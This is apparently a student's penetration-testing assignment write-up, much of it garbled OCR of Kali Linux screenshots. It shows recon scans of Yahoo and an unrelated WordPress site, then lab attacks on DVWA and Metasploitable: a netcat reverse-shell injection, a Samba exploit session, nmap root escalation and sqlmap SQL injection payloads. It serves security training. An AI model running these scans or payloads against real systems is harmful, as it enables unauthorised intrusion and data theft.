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| Grob Submit report Grob Grab is Southeast Asia's #1 ride-halling app, food delivery service and cashless payment solution. Submit report https://grab.com - @GrabSG Reports resolved Assets in scope Average bounty 685 26 \$200-\$300 | Bug Bounty Program Launched on Jul 2017 Managed by HackerOne Includes reteating Bounty splitting enabled 🔆 Bookmark 🗘 Subscribe | |
| Policy Hacktivity Thanks Updates (14) Collaborators | | |
| Active campaign Ends in 15 days ① | Response Efficiency | |
| E Assets eligible: 11 Rewards UEL "mytekalnet | 4 hrs Average time to first response | |

Started my information gathering with grab. A site I got from hackerone.com, And hackerone grants security researchers permission to legitimately test other sites or company's infrastructures to find bugs or vulnerabilities.



Dnsenum -enum site.com : will perform a default and general scan on site.com.

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DNSENUM -r site.com will enumerate form things like subdomain, ip classes etc.

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wafWOOf site.com will check for a firewall on a site. It's essential to know if your target has an IPS/IDS protection, it will help figure out how to approach the target and the next possible step to make.

| H Yahoo! - Bug Bounty Prog × + | | | |
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Hping3 -1 site.com will use the ICMP protocol to test if the target is live or not. It's important to note that the site might be blocking the ICMP requests, in this case other advanced scan can be made using nmap. Such as sending null,xmas or a single syn packet.

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| innocent@hayley:~ × innocent@hayley:~ × | | | | | | |
| See the output of nmap -h for a summary of options. | | | | | | |
| [innocent© hayley)-[~] \$ sudo nmap - ss yahoo.com -T3 - Top-port2000 nmap: unrecognized option '-Top-port2000' See the output of nmap -h for a summary of options. | | | | | | |
| <pre>(innocent@hayley)-[~] \$ sudo imap -85 yahoo.com i-T3top-ports 2000 Starting Mmap 7.93 (https://mmap.org) at 2023-03-20 12:16 WAT Nmap scan report for yahoo.com (98.137.11.164) Host is up (0.0185 latency).</pre> | | | | | | |
| Other addresses for yahoo.com (not scanned): 74.6.231.21 74.6.143.26 74.6.143.25 74 7.11.163 2001:4998:144:3507::8000 2001:4998:24:120d::11 2001:4998:24:120d:: f001 2001:4998:144:1507::8000 2001:4998:44:3507::8001 rDNS record for 98.137.11.164: media-router-fp73.prod.media.vip.gq1.yahoo.com Not shown: 1998 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http | .6.231.20 98.13 4998:124:1507: 0004: Hacona Dil Lei Dirsec | | | | | |
| Nmap done: 1 IP address (1 host up) scanned in 16.67 seconds | | | | | | |
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In this nmap scan I used the switch '-sS' to perform a SYN stealth scan without completing the TCP-3wayHandShake,'-T3' just tells it to run at medium speed, it's from (T1-T5) T5 being the fastest and gets lower results, '--top-ports' just says to scan the 2000 top ports.

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| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart | |
| [+] URL: https://shub.com.ng/ [199.188.200.123] [+] Started: Mon Mar 20 13:02:02 2023 | J |
| Interesting Finding(s): [+] Headers Interesting Entries: - server: Apache - x-powered-by: PHP/7.4.33 - x direct by: WordProce | |
| Found By: Headers (Passive Detection) Confidence: 100% | |
| <pre>(+) XML=RPC seems to be enabled: https://shub.com.ng/xmlrpc.php Found By: Direct Access (Aggressive Detection) Confidence: 100% References: - https://com/dow.wordpress.org/XML=RPC_Pingback_API - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_mlrpc_dos/ - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_mlrpc_login/ - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/</pre> | |

WPScan will enumerate a wordpress site and list out things like headers, plugins, xml-rpc, vulnerabilities, outadated versions etc.

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| Home Instructions Setup Brute Force Command Exe | Vulnerability: Command Exect Ping for FREE Enter an IP address befow: [7.131 nc -e /bir/sh 192.168.107.131 5555] submit | ation | |
| k CSRF File Inclusion SQL Injection Upload XSS reflected XSS stored DVWA Security PHP Info | More info http://www.scfbd.com/doc/2530476/Php:Endangers-Remote http://www.scfbd.com/bacht http://www.scfbd.com/ht | -Code-Execution | |
| 192.168.107.132 | | | |

So I decided to test the tools listed in the assignment using DVWA(Damn vulnerable web application). Though I have practiced on it alot and its quite easy, it is still a good target to practice most of the tools listed in the assignment

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Netcat wasn't listed in the assignment, but it is still a swiss army knife for any quick network needs or spawning a reverse shell. after finding a command injection vuln in the DVWA, netcat is used to gain initial access. WE would now process to post exploitation stage. By using 'weevely'.



After hosting our shell/payload on a server in my case locally using (apache2) we now proceed to gaining a higher privilege. Either by finding a local privilege escalation bug in the kernel through searchsploit, or by looking for SUID files, or any other means necessary. I used the old nmap –interactive bug to become root.

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| -oW/-oX/-oS/-oG <file>: Output scan in normal, XML, sir and Grepable format, respectively, to the given filen -oA -oA -basename>: Output in the three major formats at onc -v: Increase verbosity level (use twice for more effect) -d[level]: Set or increase debugging level (Up to 9 is m -open: Only show open (or possibly open) ports -packet-trace: Show all packets sent and received -iflist: Print host interfaces and routes (for debuggin -log-errors: log errors/warnings to the normal-format o -append-output: Append to rather than clobber specified -resume <filename>: Resume an aborted scan -stylesheet <path url="">: XSL stylesheet to transform XML -webxMI: Reference stylesheet from Insecure.Org for mor -no-stylesheet: Prevent associating of XSL stylesheet w MISC: -6: Enable IPv6 scanning -1: Enables OS detection and Version detection, Script s -datadir <dirname>: Specify custom Nnap data file locat -send-eth/-send-ip: Send using raw ethernet frames or -privileged: Assume that the user is fully privileged -unprivileged: Assume that the user is fully privileged -unprivileged: Assume torg nmap -v -A scanme.nmap.org nmap -v -A scanme.nmap.org nmap -v -A scanme.nmap.org nmap -v -iR 10000 -PN -p 80 SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND www.data@metasploitable:/var/www/dvwalvulerabilities/exec r/www/dvwalvulerabilities/exec</dirname></path></filename></br></br></file> | Ipt kiddi3, ame. e eaningful) g) utput file output files output to HTML e portable XML /XML output canning and Tracerout ion IP packets ges EXAMPLES \$ nmapinteractive | UI W Google Hackin | | | | |
| Starting Nmap V. 4.53 (http://insecure.org) Welcome to Interactive Mode press h <enter> for help nmap> !sh !sh</enter> | | | | | | |
| sh-3.2#id id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(w sh-3.2# cat /etc/passwd | www-data) | | | | | |

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Another quick exploitation using metasploit. From nmap scan of my target I discovered port 139 and 445 is open and runs a vulnerable piece of software samba 3.x-4.x. meaning that any version of samba within the range 3-4 is vulnerable to remote code execution

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| L_\$ sudo nmap 192.168.107.130 -sS -vv -T3 sC -n -sVtop-ports 2000 Starting Nmap 7.93 (https://nmap.org) at 2023-03-21 10:52 WAT NSE: Loaded 45 scripts for scanning. Failed to resolve "sC". Initiating ARP Ping Scan at 10:52 Scanning 192.168.107.130 [1 port] Completed ARP Ping Scan at 10:52, 0.05s elapsed (1 total hosts) Failed to resolve "c" | | | | | | |
| Tailiating SVN Stealth Scan at 10:52 Scanning 192.168.107.130 [2000 ports] Discovered open port 139/tcp on 192.168.107.130 Discovered open port 80/tcp on 192.168.107.130 Discovered open port 22/tcp on 192.168.107.130 Discovered open port 8080/tcp on 192.168.107.130 Discovered open port 463/tcp on 192.168.107.130 Discovered open port 443/tcp on 192.168.107.130 Discovered open port 443/tcp on 192.168.107.130 Discovered open port 443/tcp on 192.168.107.130 | | | | | | |
| Discovered open port 0407(cp on 192.106.107.130 Discovered open port 5001/cp on 192.166.107.130 Completed SVM Stealth Scan at 10:52, 0.20s elapsed (2000 total ports) Initiating Service scan at 10:52 Scanning 9 services on 192.168.107.130 Completed Service scan at 10:53, 12.055 elapsed (9 services on 1 host) NSE: Script scanning 192.168.107.130. NSE: Script scanning 192.168.107.130. | | | | | | |
| Initiating NSE at 10:53 Completed NSE at 10:53 NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 10:53 Completed NSE at 10:53 Completed NSE at 10:53 Completed NSE at 10:53 Completed NSE at 10:53 Nmap scan report for 192.168.107.130 Mmap scan report for 192.168.107.130 Most Signer Start Start for 125 Not shown 1991 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcm open set synthet (16 AppenSet 5 3nt Dabian Suburtué (11bur | itu linux: aratacal 2 | | | | | |
| 0) 80/tcp open http syn-ack tl 64 Apache httpd 2.2.14 ((Ubuntu) mod_m ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 | mod_ssl/2.2.14 OpenSS | | | | | |

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| File Actions Edit View Help | METASPLOIT | |
| NMAP × NETCAT × WEEVELY × METASPLOIT × APAC | HE2 SERVICE × DIRBUSTER × | |
| 0 Automatic | | |
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| View the full module info with the info, or info -d command. | | |
| <pre>mstb exploit(multi/samma/usermap_script) > run [*] Started reverse TCP handler on 192.168.107.131:4444</pre> | | |
| [*] Command shell session 1 opened (192.168.107.131:4444 \rightarrow 192 | .168.107.132:37093) at 2023-03-22 11:02:10 +0100 | |
| pwo / id | | |
| uid=0(root) gid=0(root) id wid=0(root) gid=0(root) | | |
| hostname metasploitable | | |
| pwd | | |
| , ls bin | | |
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| NMAP × NETCAT × WEEVELY × METASPLOIT × APAC | HE2 SERVICE × DIRBUSTER × | |
| View the full module info with the info, or info -d command. | | |
| <pre>msf6 exploit(multi/samba/usermap_script) > set lhost 192.168.10 lhost => 192.168.107.131 msf6 exploit(multi/samba/usermap_script) > options</pre> | | |
| Module options (exploit/multi/samba/usermap_script): | | |
| Name Current Setting Required Description | | |
| RHOSTS 192.168.107.132 yes The target host(s), see h RPORT 139 yes The target port (TCP) | ttps://docs.metasploit.com/docs/using-metasploit/basics/ | /using-metasploit.html |
| Payload options (cmd/unix/reverse_netcat): | | |
| Name Current Setting Required Description | | |
| LHOST 192.168.107.131 yes The listen address (an int LPORT 4444 yes The listen port | erface may be specified) | |
| Exploit target: | | |
| Id Name | | |
| 0 AUTOMATIC | | |
| View the full module info with the info, or info -d command. | | |
| <pre>msf6 exploit(multi/samba/usermap_script) > run [*] Started reverse TCP handler on 192 168 107 131:4444</pre> | | |
| [*] Command shell session 1 opened (192.168.107.131:4444 \rightarrow 192 | .168.107.132:37093) at 2023-03-22 11:02:10 +0100 | |
| | | |
| | SP DirBuster 1.0-RC1 - Web Application Brute Forcing | |
| File Options About Help | | |
| http://192.168.107.132:80/ | | |
| Work Method ③ Use GET requests only 〇 Auto Switch (HEAD and GET) | | |
| Number Of Threads 200 Thre I Go Faste | f. | r |
| File with list of dirs/files List based brute force Pure Brute Force List State/Wordlist/dirbuster/directory-list-2 3-medium tvt | Browse Uist Info | |
| Char set [a-ZA-ZO-9%20] Min length 1 Max Length | h 8 | |
| Select starting options: ③ Standard start point 〇 URL Fuzz | | |
| Brute Force Dirs Brute Force Files | ✓ Be Recursive Use Blank Extension | Dir to start with / File extension php |
| URL to fuzz - /test.html?url=(dir).asp //dvwa | | <u></u> |
| a Exit | | ⊳ Start |
| | | Start DirBuster |
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| Please complete the test details | | |

| [] = - 2 4 + 2 3 4 + 2 2 1 [] 2 3 4 + 2 2 2 [] 1 [] 2 3 4 + 2 2 2 [] 1 [] | | ④ 11:08 ▲ G |
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| OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing | | 008 |
| File Options About Help | | |
| http://192.168.107.132:80/ | | |
| 🚺 Scan Information Results - List View: Dirs: 38 Files: 18 \ Results - Tree View \ 🛕 Errors: 0 \ | | ternal. |
| Testing for dirs in / | 0% | |
| Testing for files in / with extention .php | 0% | |
| Testing for dirs in /index/ | 0% | |
| Testing for files in /index/ with extention .php | 0% | |
| Testing for dirs in /cgi-bin/ | 0% | |
| Testing for files in /cgi-bin/ with extention .php | 0% | |
| Testing for dirs in /doc/ | 0% | |
| Testing for files in /doc/ with extention .php | 0% | |
| Testing for dirs in /twiki/ | 0% | |
| Testing for files in /twiki/ with extention .php | 0% | |
| Testing for dirs in /phpMyAdmin/ | 0% | |
| Testing for files in /phpMyAdmin/ with extention .php | 0% | |
| Current speed: 0 requests/sec | (Select and right c | lick for more options) |
| Average speed: (T) 71, (C) 0 requests/sec | | |
| Parse Queue Size: 0 Current number of running threads: 200 Total Requests: 6757/17202729 Change | | |
| Time To Finish: ~ | | Report |
| Program running again | /m | utillidae/index/08.php |

Dirbuster for finding of hidden files and directories. Other command-line alternatives are gobuster, ffuf etc.

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| E | | 🧿 Damn Vulnerable Web Ap 🗵 | l 🕸 Settings | | 192.168.107.131/payloa | ad.php. × 🦉 | Faraday | | | • • 8 | |
| NM | | → C @ | 🗘 🗅 localhost:5985/feed | | | | | | ☆ | ⊠ ≡ | |
| Code | i Ka | i Linux 🔉 Kali Tools 💆 Kali | Docs Kali Forums Kal | l <mark>i N</mark> etHu | unter 🦔 Exploit-DB 🤌 | Google Hack | king DB 🌗 OffSec | | | | |
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| [suc | Ř | Vulnerabilities | | | F manual and a | _ | | - • © | | | |
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| wa /usi . Tł | šΞ | Planner | | | Anna states in an Anna, and an Anna. | | | | | st | pecified |
| acke Wa | Ê | Reports | | | CHICAL 19236833302 Outlated venions with roke | own exploit Xevm 5. 2 days a | 0 | | | | |
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| No. | Time | Source | Destination | Protocol Le | ngth Info | | | | | | | |
| | 1 0.00000000 | 142.250.200.74 | 172.16.245.133 | TCP | 60 443 | → 48244 | [FIN, PSH | , ACK] Se | q=1 Ack=1 | Win=64239 | Len=0 | |
| | 24 4.836946988 | 216.58.223.195 | 172.16.245.133 | TCP | 60 443 | → 49488 | [ACK] Seq | =1 Ack=40 | Win=64240 | D Len=0 | | |
| | 49 4.844650101 | 216.58.223.195 | 172.16.245.133 | TCP | 60 443 | → 49488 | [ACK] Seq | =1 Ack=64 | Win=64240 | D Len=0 | | |
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| | 94 5.837265896 | 104.18.33.171 | 172.16.245.133 | TCP | 60 443 | → 50332 | [ACK] Seq | =1 Ack=40 | Win=64240 | D Len=0 | | |
| | 101 5.838034418 | 104.18.33.171 | 172.16.245.133 | TCP | 60 443 | → 50332 | [ACK] Seq | =1 Ack=64 | Win=64240 | 0 Len=0 | | |
| | 102 5.838089690 | 104.18.33.171 | 1/2.16.245.133 | TCP | 60 443 | → 50332 | [ACK] Seq | =1 Ack=65 | Win=64239 | Een=0 | | |
| | 103 5.911627530 | 104.18.33.171 | 172.16.245.133 | TCP | 60 443 | → 50332 | [FIN, PSH | , ACK] Se | q=1 Ack=6 | 5 Win=64239 | Len=0 | |
| a | 20 4.836631641 | 45.60.154.169 | 1/2.16.245.133 | TCP | 60 443 | - 50372 | [ACK] Seq | =1 Ack=40 | Win=64240 | D Len=0 | | |
| | 61 4.851750770 | 45.60.154.169 | 172.16.245.133 | TCP | 60 443 | → 50372 | [ACK] Seq | =1 Ack=64 | Win=64240 | D Len=0 | | |
| 3 | 62 4.851835370 | 45.60.154.169 | 172.16.245.133 | TCP | 60 443 | → 50372 | [ACK] Seq | =1 ACK=65 | Win=64239 | Een=0 | | |
| a | 22 4.836823940 | 216.58.223.206 | 172.16.245.133 | ТСР | 60 443 | → 52854 | [ACK] Seq | =1 ACK=40 | win=64240 | D Len=0 | | |
| | 36 4.8384/1863 | 216.58.223.206 | 1/2.16.245.133 | TCP | 60 443 | → 52854 | [ACK] Seq | =1 ACK=64 | Win=64240 | D Len=0 | | |
| | ame 50 . 60 hutee | 216 58 223 206 | 60 hutes centured (40 | | 60 443 | 00 00 00 | ACK Sen | | | 00.00.45 (| | |
| > Fr | ame bo: bo byles | Musica fficfido (00) | FOULT S CAPTURED (40 | VM are bared | | 00 00 29 | 1f 00 00 | 00 00 00 | 10 d9 20 | df c2 ac 1 | | ••РV••@••Е• |
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| • | wireshark_eth1X914 | 111.pcapng | | | | | Packe | ets: 315 - Dis | played: 315 (1 | 00.0%) | | Profile: Default |

Wireshark: can capture traffic based on an interface specified and filter precisely based on IP and/or ports/protocol and other filtering options. Then saved as a pcap file for later analysis.

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| | | Burp Suite Community Edition v2023.1.2 - Temporary Project | | | | 8 |
| 🐨 M | 1imikatz tutorial: Hov | Burp Project Intruder Repeater Window Help | | | | |
| | | Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions | Learn | | ③ Sett | ings |
| $\leftarrow \rightarrow$ | × ш | Intercept HTTP history WebSockets history (g) Proxy settings | | | | _ |
| 🐂 Kali Linu | ux 👔 Kali Tools 🏼 💆 | Request to http://192.168.107.132:80 | - | | | ~ |
| | | Forward Drop Intercept is on Action Open browser | 4 | Comment this item | HTTP/1 | 0 |
| | | Pretty Raw Hex | 5) \n ≡ | Inspector 🔳 🔳 🗵 | ֩ | × |
| Fi | | 1 GET /dvva/vulnerabilities/sqli/?id=5%27*AND+1%3D1+&Submit=Submit HTTP/1.1 2 Host: 192.168.107.132 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecka/20100101 Firefox/102.0 | | Request attributes | 2 | ~ |
| | <pre>4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept:Language: en-US,en;q=0.5 6 Accept:Picote: axis deflata</pre> | | | | | ~ |
| | Instructions | 7 Connection: close 8 Referer: http://192.168.107.132/dvwa/vulnerabilities/sqli/?id=5&Submit=Submit | | Request body parameters | 0 | ~ |
| | Setup | 9 Cookie: security=medium; PHPSESSID=24c13c9d36ae236524c8430140466c65 10 Upgrade-Insecure-Requests: 1 11 | | Request cookies | 2 | ~ |
| | Brute Force | 12 | | Request headers | 9 | ~ |
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| paste-sites | | | | | | |
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Burpsuite is a must know tool for web pentester. It serves as a proxy tool to intercept web request, to scan vulnerabilities using the automated options. And other addons and scripts can be built and embedded using java or a python library 'Jython' to write python code that will be converted to java using the library above.



Request from burp is saved in a text file that will be used and sent to sqlmap to futher test the parameters for sql injections.

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|-------------------------|--|--|--|--|------------------|--------|---------------------------|-----|
| Trash | Mimikatz tutorial: How it | ► File Actions Edit View Help | innocent@hayley: ~/Desktop | | | * * | | |
| | ← → C ြ [¬] ¬ Kali Linux 🎓 Kali Tools 💆 Ka | [(innocent⊕ hayley)-[~/Desktop] ↓ sqlmap -r request.txt -dbs | | | | | | |
| O File System | | H (1.7.28stab) (,., (,., (,.,.,,.,(,.,,.,(,.,,(,.,,.,(,.,,,.,. | Le} hap.org | | | | | |
| Home | Home Instructions Setup | <pre>[!] legal disclaimer: Usage of sqlmap It is the end user's responsibility to assume no liability and are not respon [*] starting @ 15:30:37 /2023-03-22/</pre> | for attacking targets without prior m o obey all applicable local, state and sible for any misuse or damage caused | utual consent is il federal laws. Deve by this program | legal. lopers | I | | |
| | Brute Force Command Exe | [15:30:37] [INFO] parsing HTTP request [15:30:38] [WARNING] it appears that y) with most likely leftover chars/stat ly valid parameter values so sqlmap co are you really sure that you want too | t from 'request.txt' you have provided tainted parameter va tements from manual SQL injection test puld be able to run properly continue (sqlmap could have problems)? | ilues ('id=5' AND 19 :(s). Please, alway: ' [y/N] y | 3D1' use on | | | |
| kaliassign | File Inclusion SQL Injection | <pre>[15:30:53] [INFO] testing connection 1 [15:30:53] [WARNING] there is a DBMS of the results of the tests [15:30:53] [INFO] checking if the tary [15:20:23] [INFO] testing if the tary</pre> | to the target URL error found in the HTTP response body get is protected by some kind of WAF/I | which could interfe PS | re with | | | |
| request.txt | SQL Injection (Upload XSS reflected | <pre>[15:30:53] [INFO] testing if the tagg [15:30:54] [INFO] taggt URL content : [15:30:54] [INFO] testing if GET parameter 'id' a [15:30:54] [INFO] GET parameter 'id' a [15:30:54] [INFO] heuristic (basic) to DBMs: 'www.ol')</pre> | r okt content is stable neter 'id' is dynamic appears to be dynamic est shows that GET parameter 'id' migh | nt be injectable (po | ssible | 1 | | |
| | DVWA Security | | | | | | | |
| paste-sites | | | | | | | | |

Sqlmap using the -r switch to ask for a 'request' fil. The -dbs tells sqlmap to find and least the databases.

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| | innocent@hayley: ~/Desktop | | | | 008 |
| File Actions Edit View Help END)),0*71627a6a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#85L | bmit=Submit | | | | |
| Type: time-based blind Title: MySQL ≥ 5.0.12 time-based blind - Paramete Payload: id=(CASE WHEN (6626–6626) THEN SLEEP(5) E | r replace LSE 6626 END)6Submit=Submit | | | | |
| Type: UNION query Title: MySQL UNION query (random number) - 2 colum Payload: id=-9789 UNION ALL SELECT CONCAT(0*717670 637773414d426b5a736959576f44426a68794853,0*71627a6a71) — | ns 7871,0×76716e5a5662596572505766654b4d4b6e576759 ,8238#65ubmit-Submit | | | | |
| <pre>[15:33:05] [INF0] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy web application technology: PHP 5.2.4, Apache 2.2.8 back-end DBMS: MySQL ≥ 5.0.12 [15:33:05] [INF0] retrieved: 'information_schema' [15:33:05] [INF0] retrieved: 'dwa' [15:33:05] [INF0] retrieved: 'wetasploit' [15:33:05] [INF0] retrieved: 'wetasploit' [15:33:05] [INF0] retrieved: 'wasl' [15:33:05] [INF0] retrieved: 'tikiwiki' [14] dvad [*] information_schema [*] metasploit [*] tikiwiki [*] tikiwiki</pre> | Heron) User ID: ISAND LEL- ISAND LEL- Estate Estate Sammaner South More Infor More Infor | | | | |
| <pre>[15:33:05] [INFO] fetched data logged to text files un 192.168.107.132'</pre> | der '/home/innocent/.local/share/sqlmap/output/ | | | | |
| [*] ending @ 15:33:05 /2023-03-22/ [*] [*] (innocent @ hayley)-[~/Desktop] [\$] ■ | | | | | |
| | | | | | |

Sqlmap has many functionalities and can even spawn a shell into the database. Sqlmap can drop a table completely or download it to local machine for later analysis.



Hydra is a multipurpose protocol terminal-based cracker/bruteforcer. Hydra can be a bit challenging and unforgiving when it comes to syntax. Be mindful of various versions, and browse the web for latest usage. Commands in previous version might throw an error in newer version. always enumerate and note the usernames of your targets so that we only bruteforce for passwords of the usernames.

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|---|--|------------|
| ► innocent@Hayley: ~ | | 008 |
| (innocent@Hayley)-[~] \$ theHarvester - help | | |
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| | | 8 |
| * theHarvester 4.2.0 * | | |
| * Edge-Security Research * * cmartorella@edge-security.com * | | |
| * * * | | . × |
| usage: theHarvester [-h] -d DOMAIN [-L LIMIT] [-S START] [-p] [-s] [screenshot SCREENSHOT] [-v] [-e DNS_SERVER] [- [-n] [-c] [-f FILENAME] [-b SOURCE] | r]Learn how to get started using step-by-step | |
| theHarvester is used to gather open source intelligence (OSINT) on a company or domain. | | ļ |
| options: The harvestored Idomain number of results]-b [sources of search query] | | |
| -h,help show this help message and exit -d DOMAIN,domain DOMAIN | | |
| Company name or domain to search. -l LIMIT,limit LIMIT | | r a |
| Limit the number of search results, default=500. | | |
| -s shart,start shart Start with result number X, default=0. | | |
| -p,proxies Use proxies for requests, enter proxies in proxies.yaml. | | - |
| screenshot SCREENSHOT | | |
| Take screenshots of resolved domains specify output directory:screenshot output_directory -v,virtual-host Verify host name via DNS resolution and search for virtual hosts. DNS SEDUCEdec convect DNS SEDUCE | | |
| DNS server to use for lookup. | | |
| -r,take-over Check for takeovers. -n,dns-lookup Enable DNS server lookup, default False. | | |
| -c,dns-brute Perform a DNS brute force on the domain. | | |
| -T FILENAME,TILENAME FILENAME Save the results to an XML and JSON file. | | |
| -b SOURCE,source SOURCE | | |
| dnsdumpster, duckduckgo, fullhunt, github-code, hackertarget, hunter, intelx, omnisint, otx, | | |

theHarvester, a tool on Kali Linux, is used for reconnaissance. It extracts data (email addresses, subdomains, etc.) from public sources. It's often employed by cybersecurity professionals to assess vulnerabilities and enhance security posture.

Always reading the help options of any tool shows us ways to use the tool more effectively.

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| * theHarvester 4.2.0 * * Coded by Christian Martorella * * Edge-Security Research * * cmartorella@edge-security.com * | | | |
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| (innocent⊕ Hayley)-[~] ↓ hashcat — help hashcat (v6.2.6) starting in help | p mode | | | | | | I |
| Usage: hashcat [options] hash | hashfi | le hccapxfile [dictionary mask directory] | | | | | |
| -[options] = a diction | | | | | | | |
| Options Short / Long | Туре | Description | Example | | | | |
| <pre>-m,hash-type -a,attack-mode -V,version -h,help quiet hex-charset hex-salt hex-salt hex-wordlist force deprecated-check-disable status status-timer status-timer status-timer stdin-timeout-abort machine-readable keep-guessing self-test-disable loopback markuy-hcstat2</pre> | Num Num Num Num Num | Hash-type, references below (otherwise autodetect) Attack-mode, see references below Print version Print help Suppress output Assume charset is given in hex Assume words in wordlist are given in hex Ignore warnings Enable deprecated plugins Enable duromatic update of the status screen Enable JSON format for status output Sets seconds between status screen updates to X Abort if there is no input from stdin for X seconds Display the status view in a machine-readable format Keep guessing the hash after it has been cracked Disable self-test functionality on startup Add new plains to induct directory Specify hcstat2 file to use | -m 1000 -a 3 status-timer=1 stdin-timeout-abort=30 markov-hcstat2=my.hcst | 90 :at2 | | | |
| markov-clasaic markov-classic -tmarkov-inverse -tmarkov-threshold runtime session restore | Num Num Str | Disables markov-chains, emutates classic prote-force Enables classic markov-chains, no per-position Enables inverse markov-chains, no per-position I Threshold X when to stop accepting new markov-chains Abort session after X seconds of runtime Define specific session name Restore session fromsession | -t 50 runtime=10 session=mysession | | | | |
| restore-disable restore-file-path -o,outfile outfile-format outfile-autohex-disable outfile-check-timer | File Str Num | Do not write restore file Specific path to restore file Define outfile for recovered hash Outfile format to use, separated with commas Disable the use of \$HEX[] in output plains Sets seconds between outfile checks to X | restore-file-path=x.re -o outfile.txt outfile-format=1,3 outfile-check-timer=30 |) | | | |

Hashcat is a powerful password recovery tool on Kali Linux, it is designed for cracking hashed passwords. It uses brute-force, dictionary, and hybrid attacks to attempt password decryption. Hashcat supports various hashing algorithms and provides an efficient means of testing password security and recovering lost or forgotten passwords.

| Inncent@Hip/gr- Inncent@Hip/gr- - [Hash modes] - - # Name Category 900 MOA Raw Hash 100 SHall Raw Hash 101 SHA2-226 Raw Hash 102 SHall Raw Hash 1030 SHA2-226 Raw Hash 1040 SHA2-236 Raw Hash 1050 SHA3-236 Raw Hash 1060 SHA2-236 Raw Hash 1060 SHA2-236 Raw Hash 1060 SHA2-236 Raw Hash 1060 SHA2-332 Raw Hash 1060 SHA2-341-202 (Streebog) S12-bit, big-endian Raw Hash 10700 GST R 3.1-1-202 (Streebog) S12-bit, Big-endian Raw Hash 10700 GST R 3.1-1-202 (Streebog) S12-bit, Big-endian Raw Hash 10700 GST R 3.1-1-202 (Streebog) S12-bit, Big-endian Raw Hash 10700 Reccal-334 Raw Hash 10700 Reccal-334 Raw Hash 10700 Reccal-334 | 3 | 🛅 🍃 🍏 🕒 🖌 🕇 2 3 4 🛛 🖬 🔌 🍃 🖭 💷 | | Lan . The Island State . Ital | 📫 🖉 🔍 | 😌 10:28 🛛 🔒 🚱 |
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| 17300 5M3-512 Raw Hash 6000 RTPEMD-160 Raw Hash 6000 RTPEMD-160 Raw Hash 11700 GOST R 34, 11-2012 (Streebog) 256-bit, big-endian Raw Hash 11700 GOST R 34, 11-2012 (Streebog) 512-bit, big-endian Raw Hash 6000 ROST R 34, 11-2012 (Streebog) 512-bit, big-endian Raw Hash 6000 GOST R 34, 11-2012 (Streebog) 512-bit, big-endian Raw Hash 6000 ROST R 34, 11-94 Raw Hash 6000 FOG (A55-128/A55-256 (SHA-1(\$pass))) Raw Hash 71700 Keccak-256 Raw Hash 71700 Keccak-256 Raw Hash 71700 Keccak-384 Raw Hash 71700 Keccak-512 Raw Hash 6100 Whirtpool Raw Hash 71701 Ind5(utf161e(\$pass)) Raw Hash 71701 Ind32(utf161e(\$pass)) Raw Hash 71701 Ind32(utf161e(\$pass)) Raw Hash 71701 Ind32(utf161e(\$pass)) Raw Hash 71701 Ind32(utf161e(\$pass)) Raw Hash 71701 Ind32(sall.*pass) Raw Hash </td <td>17400</td> <td> SHA3-256</td> <td>I Kaw Hash</td> <td></td> <td></td> <td></td> | 17400 | SHA3-256 | I Kaw Hash | | | |
| 17000 9AB-912 A Name 6000 BLAK2D-512 Raw Hash 6000 BLAK2D-512 Raw Hash 11700 GOST R 34.11-2012 (Streebog) 256-bit, big-endian Raw Hash 11800 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 11800 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 11800 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 1700 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 1700 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 1700 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 1700 Keccak-224 Raw Hash 17700 Keccak-236 Raw Hash 17900 Keccak-512 Raw Hash 6100 Whirlpool Raw Hash 10100 Shal(utfible(\$pass)) Raw Hash 10100 Shal(utfible(\$pass)) Raw Hash 10170 Sha226(utfible(\$pass)) Raw Hash 10160 Sha24(utfible(\$pass)) Raw Hash 10160 Sha21(utfible(\$pass)) Raw Hash <t< td=""><td>17500</td><td> SHA3-384</td><td>I Raw Hash</td><td></td><td></td><td></td></t<> | 17500 | SHA3-384 | I Raw Hash | | | |
| Owe Intraction In Ansh 600 BLAKE2b-512 Raw Hash 11700 GOST R 34.11-2012 (Streebog) 256-bit, big-endian Raw Hash 6000 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 6900 GOST R 34.11-204 Raw Hash 6900 GOST R 34.11-94 Raw Hash 6900 GOST R 34.11-94 Raw Hash 6900 GOST R 34.11-94 Raw Hash 7010 FG6 (AfS-128/AfS-256 (SHA-1(\$pass))) Raw Hash 5100 Half MD5 Raw Hash 17700 Keccak-256 Raw Hash 17800 Keccak-384 Raw Hash 18000 Keccak-512 Raw Hash 6100 Whirlpool Raw Hash 1900 Shal(utfible(\$pass)) Raw Hash 10100 Siphash Raw Hash 10270 shal(utfible(\$pass)) Raw Hash 10470 shal(utfible(\$pass)) Raw Hash 10470 shal(utfible(\$pass)) Raw Hash 10470 shal26(utfible(\$pass)) | 17000 | DIDEND 160 | | | | |
